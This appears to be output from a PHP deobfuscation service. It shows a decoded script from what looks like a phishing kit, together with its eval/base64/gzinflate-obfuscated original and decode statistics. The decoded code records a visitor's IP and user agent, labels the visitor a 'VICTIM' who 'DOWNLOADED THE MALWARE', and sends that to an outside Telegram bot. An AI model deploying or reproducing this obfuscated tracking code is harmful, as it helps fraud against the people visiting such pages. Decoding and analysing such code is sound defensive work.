Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13(gzinflate(base64_decode('FZbFzsXMsUUfJ3/kgZl0lYF9zMw0iczM7Ke/X3pcJXW..

Decoded Output download

session_start();
error_reporting(0);
require_once"code/include.php";

include "../../../../../../../../setting.php";
$piip=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$date = date('m/d/Y h:i:s a', time());


$data="
SESSION_ALERT[DTOBPAGES]
#--------------------------------------#
VICTIM | $piip | DOWNLOADED THE MALWARE
#--------------------------------------#

";
$telegram=$alerts;
$txt=$data;
if($telegram=='Yessir'){
$send=['chat_id'=>$chat_id,'text'=>$txt];
$website="https://api.telegram.org/bot$bot_url";
$ch=curl_init($website.'/sendMessage');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result=curl_exec($ch);
curl_close($ch);
}
header("location:../../../../../../../");

Did this file decode correctly?

Original Code

<?php
eval(str_rot13(gzinflate(base64_decode('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'))));
?>

Function Calls

strrev 3
gzinflate 11
str_rot13 11
gzuncompress 4
rawurldecode 1
base64_decode 18

Variables

None

Stats

MD5 d87f4485359ea61db5b8c15721ea2398
Eval Count 16
Decode Time 79 ms